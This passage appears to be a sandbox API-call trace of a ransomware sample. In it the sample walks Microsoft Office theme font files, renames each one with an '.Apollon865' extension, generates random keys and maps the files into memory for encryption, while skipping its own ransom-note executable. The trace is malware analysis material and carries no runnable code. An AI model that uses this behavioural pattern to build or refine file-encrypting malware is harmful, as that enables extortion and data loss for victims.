	[0073.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.384] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0073.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0073.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0073.384] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0073.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0073.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0073.384] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0073.385] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0073.385] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0073.385] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0073.385] CloseHandle (hObject=0x118) returned 1
	[0073.385] CloseHandle (hObject=0x150) returned 1
	[0073.385] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0073.385] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0073.385] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0073.385] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdb5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1
	[0073.385] lstrcmpiW (lpString1="Flow.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.385] lstrcmpiW (lpString1="Flow.xml", lpString2="Apollon865.txt.exe") returned 1
	[0073.385] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml.Apollon865") returned 84
	[0073.385] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.388] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3509) returned 1
	[0073.388] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.389] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.389] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.389] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.389] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.389] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.389] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10c0, lpName=0x0) returned 0x118
	[0073.391] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10c0) returned 0x100000
	[0073.392] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.392] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.392] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.392] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.393] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0073.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0073.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0073.393] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0073.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0073.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0073.393] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0073.393] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0073.393] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0073.393] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0073.393] CloseHandle (hObject=0x118) returned 1
	[0073.393] CloseHandle (hObject=0x150) returned 1
	[0073.393] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0073.393] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0073.393] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0073.393] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1
	[0073.394] lstrcmpiW (lpString1="Foundry.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.394] lstrcmpiW (lpString1="Foundry.xml", lpString2="Apollon865.txt.exe") returned 1
	[0073.394] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml.Apollon865") returned 87
	[0073.394] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.395] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3796) returned 1
	[0073.395] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.395] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.395] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.395] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.396] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.396] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.396] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11e0, lpName=0x0) returned 0x118
	[0073.398] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11e0) returned 0x100000
	[0073.398] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.399] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.399] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.399] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0073.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0073.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0073.399] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0073.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0073.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0073.399] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0073.399] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0073.400] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0073.400] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0073.400] CloseHandle (hObject=0x118) returned 1
	[0073.400] CloseHandle (hObject=0x150) returned 1
	[0073.400] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0073.400] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0073.400] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml.Apollon865") returned 84
	[0073.400] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.402] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3673) returned 1
	[0073.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.402] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.403] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.403] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.403] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1160, lpName=0x0) returned 0x118
	[0073.404] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1160) returned 0x100000
	[0073.405] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.405] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.405] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.405] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.406] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml.Apollon865") returned 89
	[0073.406] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.407] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3849) returned 1
	[0073.407] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.407] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.407] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.407] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.408] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.408] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.408] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1210, lpName=0x0) returned 0x118
	[0073.410] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1210) returned 0x100000
	[0073.410] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.411] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.411] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.412] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml.Apollon865") returned 87
	[0073.412] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.413] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3626) returned 1
	[0073.413] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.413] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.413] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.413] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.414] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.414] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.414] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1130, lpName=0x0) returned 0x118
	[0073.416] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1130) returned 0x100000
	[0073.416] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.417] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.417] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.417] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.418] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml.Apollon865") returned 86
	[0073.418] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.419] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3821) returned 1
	[0073.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.419] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.420] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.420] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.420] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11f0, lpName=0x0) returned 0x118
	[0073.421] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11f0) returned 0x100000
	[0073.422] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.423] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.423] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.423] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.423] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml.Apollon865") returned 85
	[0073.423] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.424] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3603) returned 1
	[0073.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.425] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.425] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.425] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.425] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.425] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.426] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x118
	[0073.427] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000
	[0073.428] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.429] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.429] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.429] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml.Apollon865") returned 86
	[0073.429] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.431] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3589) returned 1
	[0073.431] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.431] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.431] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.431] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.432] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.432] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.432] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1110, lpName=0x0) returned 0x118
